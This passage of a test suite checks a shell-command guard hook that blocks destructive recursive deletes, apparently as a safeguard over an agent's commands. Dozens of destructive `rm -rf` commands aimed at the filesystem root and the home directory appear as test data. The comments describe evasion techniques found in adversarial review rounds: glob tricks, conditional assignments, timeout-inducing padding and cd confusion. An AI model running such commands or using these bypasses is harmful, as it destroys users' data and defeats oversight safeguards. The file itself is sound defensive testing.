// Round 6 and 7 shapes, kept so neither direction can regress.
|
|
1498
|
-
"rm -rf /[e[:]tc",
|
|
1499
|
-
"rm -rf /[u[:][[:alpha:]]r",
|
|
1500
|
-
]) {
|
|
1501
|
-
await expectBlocked(command);
|
|
1502
|
-
}
|
|
1503
|
-
});
|
|
1504
|
-
|
|
1505
|
-
test("the matcher itself matches every component bash matches", () => {
|
|
1506
|
-
// Asserted on the MATCHER, not on an end-to-end verdict. Round 7 found that 5 of 15
|
|
1507
|
-
// end-to-end bracket assertions passed with the matcher entirely removed, because the
|
|
1508
|
-
// unanchored-glob-at-the-root rule catches them regardless - which is exactly how the
|
|
1509
|
-
// boundary escapes shipped twice. Every pair below was confirmed against real bash with
|
|
1510
|
-
// `[[ $name == $pattern ]]`.
|
|
1511
|
-
for (const [pattern, name] of [
|
|
1512
|
-
["[![=o=]]]*", "bin"],
|
|
1513
|
-
["[[:]:]v]*", "var"],
|
|
1514
|
-
["*[[:[=c=]]", "etc"],
|
|
1515
|
-
["[b[.][:]*n", "bin"],
|
|
1516
|
-
["[h[.[::]]*", "home"],
|
|
1517
|
-
["*[[:]:]c]", "etc"],
|
|
1518
|
-
["[p[.].]]*", "proc"],
|
|
1519
|
-
// bash matches `sys` here, not `usr` - the original pair was asserted as verified and
|
|
1520
|
-
// was not. It passed only because the blunt rule matches every literal, which is this
|
|
1521
|
-
// branch's signature failure: a green assertion whose stated cause is not its cause.
|
|
1522
|
-
["*[s[.].]]", "sys"],
|
|
1523
|
-
["*[[=a=]]r]", "var"],
|
|
1524
|
-
["[e[:]tc", "etc"],
|
|
1525
|
-
["[u[:][[:alpha:]]r", "usr"],
|
|
1526
|
-
["[[:lower:]]tc", "etc"],
|
|
1527
|
-
["[![:foo:]]tc", "etc"],
|
|
1528
|
-
] as Array<[string, string]>) {
|
|
1529
|
-
expect(globComponentMatches(pattern, name), `${pattern} must match ${name}`).toBe(true);
|
|
1530
|
-
}
|
|
1531
|
-
|
|
1532
|
-
// The pairs above are answered by the unpinnable-boundary rule, which matches ANY name -
|
|
1533
|
-
// so the literal in each is inert and a wrong one cannot be detected. Asserted explicitly
|
|
1534
|
-
// rather than left implied, because the previous version of this test claimed to verify
|
|
1535
|
-
// the literals and could not.
|
|
1536
|
-
for (const pattern of ["*[s[.].]]", "[[:lower:]]tc", "[![:foo:]]tc"]) {
|
|
1537
|
-
expect(globComponentMatches(pattern, "ZZqq9Xw"), `${pattern} is unpinnable`).toBe(true);
|
|
1538
|
-
}
|
|
1539
|
-
|
|
1540
|
-
// Patterns WITHOUT an unpinnable construct exercise the real matcher, so their literals
|
|
1541
|
-
// are load-bearing. Every pair confirmed against bash `[[ $name == $pattern ]]`.
|
|
1542
|
-
for (const [pattern, name, want] of [
|
|
1543
|
-
["[a-z]tc", "etc", true],
|
|
1544
|
-
["[a-z]tc", "9tc", false],
|
|
1545
|
-
["[!a-z]tc", "9tc", true],
|
|
1546
|
-
["[!a-z]tc", "etc", false],
|
|
1547
|
-
["u[s]r", "usr", true],
|
|
1548
|
-
["u[s]r", "uxr", false],
|
|
1549
|
-
["h[o-p]me", "home", true],
|
|
1550
|
-
["h[a-c]me", "home", false],
|
|
1551
|
-
["*b[i]n", "bin", true],
|
|
1552
|
-
["*b[i]n", "ban", false],
|
|
1553
|
-
["v[a]r", "var", true],
|
|
1554
|
-
["v[a]r", "vor", false],
|
|
1555
|
-
] as Array<[string, string, boolean]>) {
|
|
1556
|
-
expect(globComponentMatches(pattern, name), `${pattern} vs ${name}`).toBe(want);
|
|
1557
|
-
}
|
|
1558
|
-
|
|
1559
|
-
// ...and does not match what bash does not: a literal bracket is not a pattern.
|
|
1560
|
-
expect(globComponentMatches("et[c", "etc")).toBe(false);
|
|
1561
|
-
expect(globComponentMatches("etc[x", "etc")).toBe(false);
|
|
1562
|
-
expect(globComponentMatches("backup[2026", "backup")).toBe(false);
|
|
1563
|
-
// Ordinary globs keep working.
|
|
1564
|
-
expect(globComponentMatches("*.log", "app.log")).toBe(true);
|
|
1565
|
-
expect(globComponentMatches("*.log", "app.txt")).toBe(false);
|
|
1566
|
-
expect(globComponentMatches("[a-z]*", "etc")).toBe(true);
|
|
1567
|
-
expect(globComponentMatches("[!a-z]*", "etc")).toBe(false);
|
|
1568
|
-
});
|
|
1569
|
-
|
|
1570
|
-
test("an assignment in a branch that may not run does not certify", async () => {
|
|
1571
|
-
// Stripping a compound keyword is right for withdrawal - the branch might run - but it
|
|
1572
|
-
// must not grant certification, which asserts the value IS set. `then X=/tmp/build`
|
|
1573
|
-
// certified X and let `rm -rf "$X"/*` through as the realized incident shape.
|
|
1574
|
-
for (const command of [
|
|
1575
|
-
'if [ -d /nonexistent ]; then CACHE=/tmp/c; fi; rm -rf "$CACHE"/*',
|
|
1576
|
-
'if false; then X=/tmp/build; fi; rm -rf "$X"/*',
|
|
1577
|
-
'while false; do X=/tmp/build; done; rm -rf "$X"/*',
|
|
1578
|
-
'for i in ""; do X=/tmp/build; done; rm -rf "$X"/*',
|
|
1579
|
-
]) {
|
|
1580
|
-
await expectBlocked(command);
|
|
1581
|
-
}
|
|
1582
|
-
// The same must hold through a value-binding builtin, which is a separate code path.
|
|
1583
|
-
await expectBlocked('if false; then export X=/tmp/build; fi; rm -rf "$X"/*');
|
|
1584
|
-
await expectBlocked('while false; do declare X=/tmp/build; done; rm -rf "$X"/*');
|
|
1585
|
-
// Unconditional assignment still certifies.
|
|
1586
|
-
await expectAllowed('X=/tmp/build; rm -rf "$X"/*');
|
|
1587
|
-
await expectAllowed('export X=/tmp/build; rm -rf "$X"/*');
|
|
1588
|
-
});
|
|
1589
|
-
|
|
1590
|
-
test("distinct-name padding cannot stall the hook into failing open", async () => {
|
|
1591
|
-
// The certified-name set was copied per segment - O(segments x names). 30k distinct names
|
|
1592
|
-
// took 24.4s against the 20s timeout. The walker now advances one set in place and hands
|
|
1593
|
-
// it out only for segments that actually delete something.
|
|
1594
|
-
const command = `${Array.from({ length: 30000 }, (_, i) => `A${i}=1`).join("; ")}; rm -rf /*`;
|
|
1595
|
-
const started = performance.now();
|
|
1596
|
-
const result = await classify(command);
|
|
1597
|
-
expect(result.block).toBe(true);
|
|
1598
|
-
expect(performance.now() - started).toBeLessThan(2000);
|
|
1599
|
-
});
|
|
1600
|
-
|
|
1601
|
-
test("~ and $HOME resolve through the same home as the protected roots", async () => {
|
|
1602
|
-
// `~` went through homedir() while $HOME and every rule root used process.env.HOME, so
|
|
1603
|
-
// wherever they differ - containers, `sudo -u`, CI - the target and the rule were built
|
|
1604
|
-
// from different directories and `rm -rf ~/.hasna` missed its own rule. It also made this
|
|
1605
|
-
// suite pass only on a machine whose HOME is literally /home/hasna.
|
|
1606
|
-
const elsewhere = mkdtempSync(join(fixtureRoot, "otherhome-"));
|
|
1607
|
-
await expectBlocked("rm -rf ~/.hasna", { home: elsewhere });
|
|
1608
|
-
await expectBlocked('rm -rf "$HOME"/.hasna', { home: elsewhere });
|
|
1609
|
-
await expectBlocked("rm -rf ~/.hasna/repos", { home: elsewhere });
|
|
1610
|
-
});
|
|
1611
|
-
|
|
1612
|
-
test("value-binding builtins and for-bindings are recognised away from position 0", async () => {
|
|
1613
|
-
// Both mechanisms were real and had zero coverage across 72 assertions.
|
|
1614
|
-
await expectBlocked('X=/tmp/build; IFS= export X=$(cmd); rm -rf "$X"/*');
|
|
1615
|
-
await expectBlocked('X=/tmp/build; LC_ALL=C read X; rm -rf "$X"/*');
|
|
1616
|
-
await expectBlocked('X=/tmp/build; time for X in ""; do :; done; rm -rf "$X"/*');
|
|
1617
|
-
});
|
|
1618
|
-
|
|
1619
|
-
// -------------------------------------------------------------------------------------
|
|
1620
|
-
// Adversarial review round 9. The bracket class is confirmed closed (0 under-matches in
|
|
1621
|
-
// 3.3M matcher cells against real bash). These cover what round 8's OTHER fix missed.
|
|
1622
|
-
// -------------------------------------------------------------------------------------
|
|
1623
|
-
|
|
1624
|
-
test("conditionality is a property of context, not of the first token", async () => {
|
|
1625
|
-
// Deriving it from "a compound keyword was stripped from token 0" closed ~5% of the
|
|
1626
|
-
// class: one inserted statement, or `&&`/`||`/`case`, restored certification. 297 of
|
|
1627
|
-
// those shapes were bash-proven `rm -rf /*`.
|
|
1628
|
-
for (const guard of [
|
|
1629
|
-
"if false; then A=1; X=/tmp/build; fi",
|
|
1630
|
-
"if false; then :; X=/tmp/build; fi",
|
|
1631
|
-
"false && X=/tmp/build",
|
|
1632
|
-
"true || X=/tmp/build",
|
|
1633
|
-
"[ -d /nonexistent ] && X=/tmp/build",
|
|
1634
|
-
"test -d /nonexistent && X=/tmp/build",
|
|
1635
|
-
"case x in y) X=/tmp/build;; esac",
|
|
1636
|
-
"until true; do A=1; X=/tmp/build; done",
|
|
1637
|
-
"grep -q zzz /dev/null && X=/tmp/build",
|
|
1638
|
-
]) {
|
|
1639
|
-
await expectBlocked(`${guard}; rm -rf "$X"/*`);
|
|
1640
|
-
}
|
|
1641
|
-
await expectBlocked('if [ -d /nonexistent ]; then CACHE=/tmp/c; fi; rm -rf "$CACHE"/*');
|
|
1642
|
-
|
|
1643
|
-
// A brace group is NOT conditional - bash runs it in the current shell.
|
|
1644
|
-
await expectAllowed('X=/tmp/build; { export X=/tmp/build; }; rm -rf "$X"/*');
|
|
1645
|
-
await expectAllowed('X=/tmp/build; rm -rf "$X"/*');
|
|
1646
|
-
});
|
|
1647
|
-
|
|
1648
|
-
test("any unanchored first component sweeps the filesystem root, not just a literal *", async () => {
|
|
1649
|
-
// `/?*/bin` and `/[a-z]*/bin` expand to /usr/bin exactly as `/*/bin` does; the sweep rule
|
|
1650
|
-
// tested for a literal `*` where the design says an unpinnable component is unbounded.
|
|
1651
|
-
for (const command of [
|
|
1652
|
-
"rm -rf /*/bin",
|
|
1653
|
-
"rm -rf /?*/bin",
|
|
1654
|
-
"rm -rf /[a-z]*/bin",
|
|
1655
|
-
"rm -rf /[[:alpha:]]*/bin",
|
|
1656
|
-
"rm -rf /[[:lower:]]*/lib",
|
|
1657
|
-
]) {
|
|
1658
|
-
await expectBlocked(command);
|
|
1659
|
-
}
|
|
1660
|
-
// Anchored first components are still ordinary targeted deletes.
|
|
1661
|
-
await expectAllowed("rm -rf /opt/*/logs");
|
|
1662
|
-
await expectAllowed("rm -rf /var/*/tmp");
|
|
1663
|
-
// `/tmp*/x` moved to BLOCK in round 10: at the filesystem root a single literal character
|
|
1664
|
-
// is not an anchor. Asserted in the round-10 sweep test.
|
|
1665
|
-
});
|
|
1666
|
-
|
|
1667
|
-
test("a long relative cd chain cannot stall the hook, and an absolute cd still lands", async () => {
|
|
1668
|
-
// Resolving an ever-growing path per `cd` was quadratic: 70k took 19.6s against the 20s
|
|
1669
|
-
// timeout. Capping at PATH_MAX fixed that but skipped a later absolute `cd`, which was
|
|
1670
|
-
// itself a fail-open - the guard stayed on the long path and `rm -rf *` was allowed.
|
|
1671
|
-
const flood = Array.from({ length: 70000 }, (_, i) => `cd d${i}`).join("; ");
|
|
1672
|
-
for (const command of [
|
|
1673
|
-
`${flood}; rm -rf /*`,
|
|
1674
|
-
`${flood}; cd /; rm -rf *`,
|
|
1675
|
-
`${flood}; cd ~; rm -rf .hasna`,
|
|
1676
|
-
]) {
|
|
1677
|
-
const started = performance.now();
|
|
1678
|
-
const result = await classify(command);
|
|
1679
|
-
expect(result.block).toBe(true);
|
|
1680
|
-
expect(performance.now() - started).toBeLessThan(3000);
|
|
1681
|
-
}
|
|
1682
|
-
// Three iterations, each gated at 3000ms above, so this test's own assertions permit up to
|
|
1683
|
-
// 9000ms and still pass. The runner budget therefore has to sit strictly ABOVE 9000 or the
|
|
1684
|
-
// runner kills a run the assertions consider passing, and a genuine regression reads as an
|
|
1685
|
-
// infrastructure timeout rather than as the assertion's message — the same failure the
|
|
1686
|
-
// oversized-command test below was given a budget for. Building the 70k-element flood sits
|
|
1687
|
-
// outside the timed regions and is unmeasured by them. Measured 3.5-4.1s in total alone at
|
|
1688
|
-
// load ~15; 20000 is over twice what its own assertions already allow.
|
|
1689
|
-
}, 20000);
|
|
1690
|
-
|
|
1691
|
-
test("an unpinnable target says why it was refused", async () => {
|
|
1692
|
-
// Reporting only "targets /" for `rm -rf /var[.]log` is wrong and gets a guard switched
|
|
1693
|
-
// off; the operator needs to know it was refused as unanalysable.
|
|
1694
|
-
const result = await classify("rm -rf /var[.]log");
|
|
1695
|
-
expect(result.block).toBe(true);
|
|
1696
|
-
expect(result.reason).toContain("POSIX character class");
|
|
1697
|
-
});
|
|
1698
|
-
|
|
1699
|
-
test("the worktrees root resolves through the same home as everything else", async () => {
|
|
1700
|
-
// Same divergence as `~`, one function away: defaultWorktreesRoot used homedir() while
|
|
1701
|
-
// every rule root used process.env.HOME.
|
|
1702
|
-
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
1703
|
-
delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
1704
|
-
const home = mkdtempSync(join(fixtureRoot, "wthome-"));
|
|
1705
|
-
try {
|
|
1706
|
-
process.env.HOME = home;
|
|
1707
|
-
expect(defaultWorktreesRoot()).toBe(join(home, ".hasna", "repos", "worktrees"));
|
|
1708
|
-
} finally {
|
|
1709
|
-
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
1710
|
-
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
1711
|
-
process.env.HOME = INCIDENT_HOME;
|
|
1712
|
-
}
|
|
1713
|
-
});
|
|
1714
|
-
|
|
1715
|
-
// -------------------------------------------------------------------------------------
|
|
1716
|
-
// Adversarial review round 10.
|
|
1717
|
-
// -------------------------------------------------------------------------------------
|
|
1718
|
-
|
|
1719
|
-
test("a cd that shrinks the path is never skipped by the length cap", async () => {
|
|
1720
|
-
// The PATH_MAX cap skipped ALL relative operands once crossed, including `..`, which
|
|
1721
|
-
// shrinks. After one crossing the model froze while bash walked back to `/`, so
|
|
1722
|
-
// `rm -rf *` was allowed - a fail-open introduced by the cap itself.
|
|
1723
|
-
const repo = mkdtempSync(join(fixtureRoot, "unwind-"));
|
|
1724
|
-
Bun.spawnSync(["git", "init", "-q", repo]);
|
|
1725
|
-
// TWO operations only, so the cd BUDGET is nowhere near spent and this isolates the
|
|
1726
|
-
// length cap. One descent past PATH_MAX, then one `..` back: if `..` is skipped as
|
|
1727
|
-
// "relative", the guard stays deep while bash is back at the repo root.
|
|
1728
|
-
const deep = `cd ${"a".repeat(4200)}`;
|
|
1729
|
-
await expectBlocked(`${deep}; cd ..; rm -rf *`, { cwd: repo });
|
|
1730
|
-
// `.` is the repo root itself; `.git` is a child and is correctly not a protected root.
|
|
1731
|
-
await expectBlocked(`${deep}; cd ..; rm -rf .`, { cwd: repo });
|
|
1732
|
-
|
|
1733
|
-
// And the same over a long chain, where the budget is spent as well.
|
|
1734
|
-
const down = Array.from({ length: 2000 }, (_, i) => `cd d${i}`).join("; ");
|
|
1735
|
-
const up = Array.from({ length: 2100 }, () => "cd ..").join("; ");
|
|
1736
|
-
await expectBlocked(`${down}; ${up}; rm -rf *`, { cwd: repo });
|
|
1737
|
-
await expectBlocked(`${down}; ${up}; rm -rf home`, { cwd: repo });
|
|
1738
|
-
});
|
|
1739
|
-
|
|
1740
|
-
test("a keyword only counts in command position, and for/done stay balanced", async () => {
|
|
1741
|
-
for (const command of [
|
|
1742
|
-
// `for` opens because `done` closes; omitting it let any loop zero the counter.
|
|
1743
|
-
'if [ -d /nonexistent ]; then for f in *.log; do echo "$f"; done; X=/tmp/build; fi; rm -rf "$X"/*',
|
|
1744
|
-
'for i in $NOPE; do A=1; X=/tmp/build; done; rm -rf "$X"/*',
|
|
1745
|
-
// A literal `done`/`fi` WORD is not a closer.
|
|
1746
|
-
'if false; then echo done; X=/tmp/build; fi; rm -rf "$X"/*',
|
|
1747
|
-
'if false; then echo "fi"; X=/tmp/build; fi; rm -rf "$X"/*',
|
|
1748
|
-
'if false; then touch done; X=/tmp/build; fi; rm -rf "$X"/*',
|
|
1749
|
-
'if [ -d /opt/nonexistent-cache ]; then echo done; CACHE=/opt/nonexistent-cache; fi; rm -rf "$CACHE"/*',
|
|
1750
|
-
'if false; then echo x # fi\nX=/tmp/build; fi; rm -rf "$X"/*',
|
|
1751
|
-
// `&&`/`||` govern the whole right-hand side, brace group included.
|
|
1752
|
-
'false && { A=1; X=/tmp/build; }; rm -rf "$X"/*',
|
|
1753
|
-
'true || { A=1; X=/tmp/build; }; rm -rf "$X"/*',
|
|
1754
|
-
'case x in y) echo fi;;& z) X=/tmp/build;; esac; rm -rf "$X"/*',
|
|
1755
|
-
]) {
|
|
1756
|
-
await expectBlocked(command);
|
|
1757
|
-
}
|
|
1758
|
-
});
|
|
1759
|
-
|
|
1760
|
-
test("a keyword-shaped word does not poison the rest of the command", async () => {
|
|
1761
|
-
// `elif` was counted as an opener although `fi` closes the chain once, and any token
|
|
1762
|
-
// spelled like a keyword set conditional - both refused certification for ordinary work.
|
|
1763
|
-
for (const command of [
|
|
1764
|
-
'if a; then :; elif b; then :; fi; CACHE=/tmp/c; rm -rf "$CACHE"/*',
|
|
1765
|
-
'echo "if"; CACHE=/tmp/c; rm -rf "$CACHE"/*',
|
|
1766
|
-
'touch if; CACHE=/tmp/c; rm -rf "$CACHE"/*',
|
|
1767
|
-
'echo select; CACHE=/tmp/c; rm -rf "$CACHE"/*',
|
|
1768
|
-
'X=/tmp/build; { export X=/tmp/build; }; rm -rf "$X"/*',
|
|
1769
|
-
]) {
|
|
1770
|
-
await expectAllowed(command);
|
|
1771
|
-
}
|
|
1772
|
-
});
|
|
1773
|
-
|
|
1774
|
-
test("any glob in the first component sweeps the filesystem root", async () => {
|
|
1775
|
-
// `/*r*/lib` reached 11 of 25 top-level directories on the reference machine; one literal
|
|
1776
|
-
// character is not an anchor at that depth.
|
|
1777
|
-
for (const command of ["rm -rf /*r*/lib", "rm -rf /*s*/bin", "rm -rf /s*/bin", "rm -rf /tmp*/x"]) {
|
|
1778
|
-
await expectBlocked(command);
|
|
1779
|
-
}
|
|
1780
|
-
// Deeper globs are still ordinary targeted deletes.
|
|
1781
|
-
await expectAllowed("rm -rf /opt/*/logs");
|
|
1782
|
-
await expectAllowed("rm -rf /var/*/tmp");
|
|
1783
|
-
});
|
|
1784
|
-
|
|
1785
|
-
test("a command too large to tokenize is decided, not left to the timeout", async () => {
|
|
1786
|
-
// 70k repetitions of `cd /<4KB>` is a 280 MB string; no per-rule bound helps because the
|
|
1787
|
-
// cost is reading the input, and a timed-out hook fails open.
|
|
1788
|
-
const oversized = Array.from({ length: 70000 }, () => `cd /${"a".repeat(3990)}`).join("; ");
|
|
1789
|
-
const started = performance.now();
|
|
1790
|
-
expect((await classify(`${oversized}; rm -rf /*`)).block).toBe(true);
|
|
1791
|
-
expect((await classify(oversized.replace(/cd /g, "echo "))).block).toBe(false);
|
|
1792
|
-
expect(performance.now() - started).toBeLessThan(15000);
|
|
1793
|
-
// The 15000ms assertion above is this test's real gate, so the runner budget must sit
|
|
1794
|
-
// strictly ABOVE it: at bun's 5000ms default the runner kills the test at 5s and the
|
|
1795
|
-
// assertion never gets to speak, which reads as an infrastructure timeout rather than
|
|
1796
|
-
// as the regression it is. Measured cost is ~10.0-11.0s on a contended 20-core box
|
|
1797
|
-
// (load ~30); 30000 is double the assertion and ~3x the observed need, so a slow run
|
|
1798
|
-
// still fails on the assertion's message and only a true hang reaches this backstop.
|
|
1799
|
-
}, 30000);
|
|
1800
|
-
|
|
1801
|
-
// -------------------------------------------------------------------------------------
|
|
1802
|
-
// Adversarial review round 11. All three bounds added the round before turned into root
|
|
1803
|
-
// wipes, each with its own improvised fallback. They now share ONE fail-closed answer:
|
|
1804
|
-
// a bound that stops modelling the command marks the analysis degraded, and a degraded
|
|
1805
|
-
// analysis carrying a recursive delete is refused.
|
|
1806
|
-
// -------------------------------------------------------------------------------------
|
|
1807
|
-
|
|
1808
|
-
test("a cd operand too long to model fails closed", async () => {
|
|
1809
|
-
// The operand-length cap dropped the cd entirely, so a single `cd` of 4200 slashes
|
|
1810
|
-
// followed by `rm -rf *` was allowed - bash lands at `/`, where `*` is 27 entries.
|
|
1811
|
-
// cwd is deliberately an ORDINARY directory, not a repo root: if the over-long cd is
|
|
1812
|
-
// skipped the guard stays here, and here is not protected, so the verdict depends only on
|
|
1813
|
-
// the cap failing closed. A repo-root cwd blocked either way and proved nothing.
|
|
1814
|
-
const plain = mkdtempSync(join(fixtureRoot, "longcd-"));
|
|
1815
|
-
for (const command of [
|
|
1816
|
-
`cd ${"/".repeat(4200)}; rm -rf *`,
|
|
1817
|
-
`cd ${"../".repeat(1400)}; rm -rf *`,
|
|
1818
|
-
`cd /${"./".repeat(2100)}; rm -rf *`,
|
|
1819
|
-
`cd ${"../".repeat(1400)}; rm -rf .*`,
|
|
1820
|
-
]) {
|
|
1821
|
-
await expectBlocked(command, { cwd: plain });
|
|
1822
|
-
}
|
|
1823
|
-
});
|
|
1824
|
-
|
|
1825
|
-
test("an exhausted cd budget fails closed for named targets too", async () => {
|
|
1826
|
-
// Adding `/` to the candidate set only caught targets that resolve to a protected root
|
|
1827
|
-
// FROM `/`. A named relative target resolving against the real, unmodelled cwd is the
|
|
1828
|
-
// same hole: this one destroys the entire Hasna home.
|
|
1829
|
-
const dots = Array.from({ length: 2000 }, () => "cd .").join("; ");
|
|
1830
|
-
await expectBlocked(`cd /home/hasna; ${dots}; cd ..; rm -rf hasna`);
|
|
1831
|
-
});
|
|
1832
|
-
|
|
1833
|
-
test("an oversized command recognises a recursive delete in any flag position", async () => {
|
|
1834
|
-
// The gate was anchored to the token right after `rm`, so seven ordinary spellings sailed
|
|
1835
|
-
// past unanalysed once padded beyond the threshold.
|
|
1836
|
-
// Must exceed MAX_ANALYSABLE_COMMAND_LENGTH, or the command is analysed normally and the
|
|
1837
|
-
// oversized gate - the thing under test - is never consulted.
|
|
1838
|
-
const pad = `; # ${"x".repeat(33_000_000)}`;
|
|
1839
|
-
for (const command of [
|
|
1840
|
-
"rm -f -r /*",
|
|
1841
|
-
"rm -f -R /*",
|
|
1842
|
-
"rm -v -f -r /*",
|
|
1843
|
-
"rm -f --recursive /*",
|
|
1844
|
-
"/bin/rm -f -r /*",
|
|
1845
|
-
"rm --one-file-system -rf /*",
|
|
1846
|
-
"rm /home/hasna/.hasna -rf",
|
|
1847
|
-
]) {
|
|
1848
|
-
await expectBlocked(`${command}${pad}`);
|
|
1849
|
-
}
|
|
1850
|
-
// ...and does not fire on a non-recursive rm, which is what `--force` used to trip.
|
|
1851
|
-
await expectAllowed(`rm --force /tmp/x${pad}`);
|
|
1852
|
-
});
|
|
1853
|
-
|
|
1854
|
-
test("a pipeline in a compound head does not swallow its opener", async () => {
|
|
1855
|
-
// The isolation early-return ran BEFORE keyword accounting, so `if … | …; then` lost the
|
|
1856
|
-
// `if` while its `fi` still decremented, and the assignment after it certified. This is
|
|
1857
|
-
// the realized incident shape.
|
|
1858
|
-
await expectBlocked('if ls /opt | grep -q node; then echo yes; CACHE=/var/cache/app; fi; rm -rf "$CACHE"/*');
|
|
1859
|
-
await expectBlocked('echo hi | while read -r l; do echo $l; X=/tmp/build; done; rm -rf "$X"/*');
|
|
1860
|
-
});
|
|
1861
|
-
|
|
1862
|
-
test("a cd reached only through && or || does not move the guard", async () => {
|
|
1863
|
-
// `cd /home/hasna; false && cd /tmp; rm -rf *` left the model in /tmp while bash stayed
|
|
1864
|
-
// in the home directory. Allowed at every commit back to 2fe8426.
|
|
1865
|
-
for (const command of [
|
|
1866
|
-
"cd /home/hasna; false && cd /tmp; rm -rf *",
|
|
1867
|
-
"cd /home/hasna; true || cd /tmp; rm -rf *",
|
|
1868
|
-
"cd /etc; false && cd /tmp; rm -rf *",
|
|
1869
|
-
]) {
|
|
1870
|
-
await expectBlocked(command);
|
|
1871
|
-
}
|
|
1872
|
-
});
|
|
1873
|
-
|
|
1874
|
-
test("a quoted paren inside a substitution does not disable the collapse rule", async () => {
|
|
1875
|
-
// The unterminated-substitution fallback turned an ordinary awk field separator into a
|
|
1876
|
-
// bypass, because the quoted "(" was counted as structure.
|
|
1877
|
-
await expectBlocked(`rm -rf "$(awk -F'(' '{print $2}' conf.txt)"/*`);
|
|
1878
|
-
await expectBlocked(`rm -rf "$(echo ")")"/*`);
|
|
1879
|
-
});
|
|
1880
|
-
|
|
1881
|
-
test("combinatorial brace input cannot stall the hook into failing open", async () => {
|
|
1882
|
-
// Brace expansion is combinatorial: 26 groups is 2^26 paths. A version that capped only
|
|
1883
|
-
// the finished list took 19.75s, past this hook's 20s timeout - and a timed-out hook
|
|
1884
|
-
// fails open, so a long enough brace string would switch the guard off and then delete.
|
|
1885
|
-
const command = `rm -rf ${Array.from({ length: 26 }, (_, i) => `/{a${i},b${i}}`).join("")}`;
|
|
1886
|
-
const started = performance.now();
|
|
1887
|
-
await classify(command);
|
|
1888
|
-
expect(performance.now() - started).toBeLessThan(2000);
|
|
1889
|
-
});
|
|
1890
|
-
|
|
1891
|
-
test("cd in a subshell or pipeline does not move the guard, and cd - comes back", async () => {
|
|
1892
|
-
// Regression guard: tracking `cd` naively made these WEAKER than before the change,
|
|
1893
|
-
// because the tracker followed a `cd` that the real shell confines to a child process.
|
|
1894
|
-
const cwd = "/home/hasna/.hasna/projects/workspaces";
|
|
1895
|
-
for (const command of [
|
|
1896
|
-
"cd /var/tmp && ls && cd - && rm -rf *",
|
|
1897
|
-
"(cd /var/tmp && ls); rm -rf *",
|
|
1898
|
-
"cd /var/tmp | cat; rm -rf *",
|
|
1899
|
-
"cd /var/tmp; cd $OLDPWD; rm -rf *",
|
|
1900
|
-
"for f in a b; do (cd /var/tmp); done; rm -rf *",
|
|
1901
|
-
]) {
|
|
1902
|
-
await expectBlocked(command, { cwd });
|
|
1903
|
-
}
|
|
1904
|
-
await expectAllowed("cd /var/tmp && rm -rf scratch", { cwd });
|
|
1905
|
-
});
|
|
1906
|
-
|
|
1907
|
-
test("shell options taking a value do not hide the -c script", async () => {
|
|
1908
|
-
for (const command of [
|
|
1909
|
-
"bash -o errexit -c 'rm -rf /*'",
|
|
1910
|
-
"bash -o pipefail -c 'rm -rf /*'",
|
|
1911
|
-
"sh -o errexit -c 'rm -rf /*'",
|
|
1912
|
-
"bash --rcfile /dev/null -c 'rm -rf /*'",
|
|
1913
|
-
]) {
|
|
1914
|
-
await expectBlocked(command);
|
|
1915
|
-
}
|
|
1916
|
-
});
|
|
1917
|
-
|
|
1918
|
-
test("expansion nesting has no depth limit", async () => {
|
|
1919
|
-
await expectBlocked('rm -rf "$(dirname "$(dirname "$(bun pm cache)")")"/*');
|
|
1920
|
-
await expectBlocked('rm -rf "${A:-${B}}"/*');
|
|
1921
|
-
expect(emptyExpansionCollapse("${A:-${B}}/*")).toBe("/*");
|
|
1922
|
-
});
|
|
1923
|
-
|
|
1924
|
-
test("expansions the shell cannot return empty are not treated as collapsible", async () => {
|
|
1925
|
-
// These block routine cleanup if mishandled, and a guard that blocks routine work
|
|
1926
|
-
// gets switched off - which is how this class of incident recurs.
|
|
1927
|
-
await expectAllowed('rm -rf "$(pwd)"/*');
|
|
1928
|
-
await expectAllowed('rm -rf "$PWD"/*');
|
|
1929
|
-
await expectAllowed('rm -rf "${BUILD_DIR:-/tmp/build}"/*');
|
|
1930
|
-
await expectAllowed('BUILD=/tmp/build && rm -rf "$BUILD"/*');
|
|
1931
|
-
// ...but only where the guarantee is real.
|
|
1932
|
-
await expectBlocked('rm -rf "${BUILD_DIR-/tmp/build}"/*');
|
|
1933
|
-
await expectBlocked('BUILD=$(some-command) && rm -rf "$BUILD"/*');
|
|
1934
|
-
});
|
|
1935
|
-
});
|